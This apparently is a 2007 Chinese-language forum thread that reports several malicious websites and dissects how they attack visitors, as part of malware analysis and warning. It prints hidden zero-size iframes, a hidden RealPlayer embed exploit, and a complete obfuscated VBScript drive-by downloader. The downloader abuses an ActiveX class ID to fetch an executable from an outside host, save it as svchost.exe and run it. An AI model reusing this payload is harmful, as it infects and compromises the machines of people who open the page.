【木馬】2007-09-08 惡意連結幾個

2007-09-08 惡意連結幾個
www.duowna.com/ief/url.asp
www.avvcc.com/index.htm
www.lliinnss.com/ot/c22.htm

回覆: 【木馬】2007-09-08 惡意連結幾個

http://www.duowna.com/ief/,,/cn.exe
[quote] [Found possible virus] <W32/new-malware!Maximus> \cn[1]\cn[1].exe[/quote]http://www.avvcc.com/20,,a.exe
[quote][Found possible virus] < (not disinfectable)> svchost.exe->(PecBundle)->(PECompact)[/quote]第三隻
[code]<e&&mbed type="audio/x-pn-realaudio-plugin"
src="l3.smi"
controls="controlpanel,statusbar" height=0
width=0 autostart=true hidden>[/code]:fd:

回覆: 【木馬】2007-09-08 惡意連結幾個

[color=#0000ff]http://www.avvcc.com/index.htm[/color]的結構
[quote]<iframe src="[color=#ffa500]614.htm[/color]" width="0" height="0" frameborder="0"></iframe>[/quote]

[color=#ffa500]http://www.avvcc.com/614.htm[/color]的結構
[quote]<script>document.write(unescape('<html>
<script language="VBScript">
on error resume next
maface="Mic"&"ro"&"so"&"ft.X"&"M"&"LHT"&"TP"
tttatat="S"&"cr"&"ip"&"tin"&"g."&"Fi"&"le"&"Sy"&"st"&"em"&"Ob"&"j"&"e"&"ct"
kav="o"&"bje"&"ct"
ufoad123="A"&"do"&"db"&".St"&"rea"&"m"
Set df = document.createElement(kav)
regedit="c"&"ls"&"id:BD"&"9"&"6C5"&"56-6"&"5A3"&"-1"&"1D"&"0-"&"98"&"3"&"A-0"&"0"&"C04F"&"C2"&"9E36"
diter="c"&"l"&"a"&"s"&"s"&"i"&"d"
df.setAttribute diter, regedit
Set x = df.CreateObject(maface,"")
set SS = df.createobject(ufoad123,"")
SS.type = 1
x.Open "GET", "[color=#ff0000]http://www.avvcc.com/20070418a.exe[/color] ", False
x.Send
marco1="svchost.exe"
set F = df.createobject(tttatat,"")
tmp2=2
set tmp = F.GetSpecialFolder(tmp2)
SS.open
marco1= F.BuildPath(tmp,marco1)
SS.write x.responseBody
SS.savetofile marco1,2
SS.close
qwe324a="S"&"he"&"l"&"l."&"Appl"&"i"&"ca"&"ti"&"on"
set Q = df.createobject(qwe324a,"")
asdwr="op"&"e"&"n"
Q.ShellExecute marco1,"","",asdwr,0
</script>
</html>'))</script>[/quote]

[img]http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ1.png[/img]
[img]http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ2.png[/img]
[img]http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ3.png[/img]
[img]http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ4.png[/img]
[img]http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ5.png[/img]
[img]http://i234.photobucket.com/albums/ee153/a256886572008/bo/EQ6.png[/img]

[color=#0000ff]http://www.lliinnss.com/ot/c22.htm[/color]的結構
[quote]<embed type="audio/x-pn-realaudio-plugin"
src="[color=#ff0000]l3.smi[/color]"
c height=0
width=0 autostart=true hidden>
[/quote]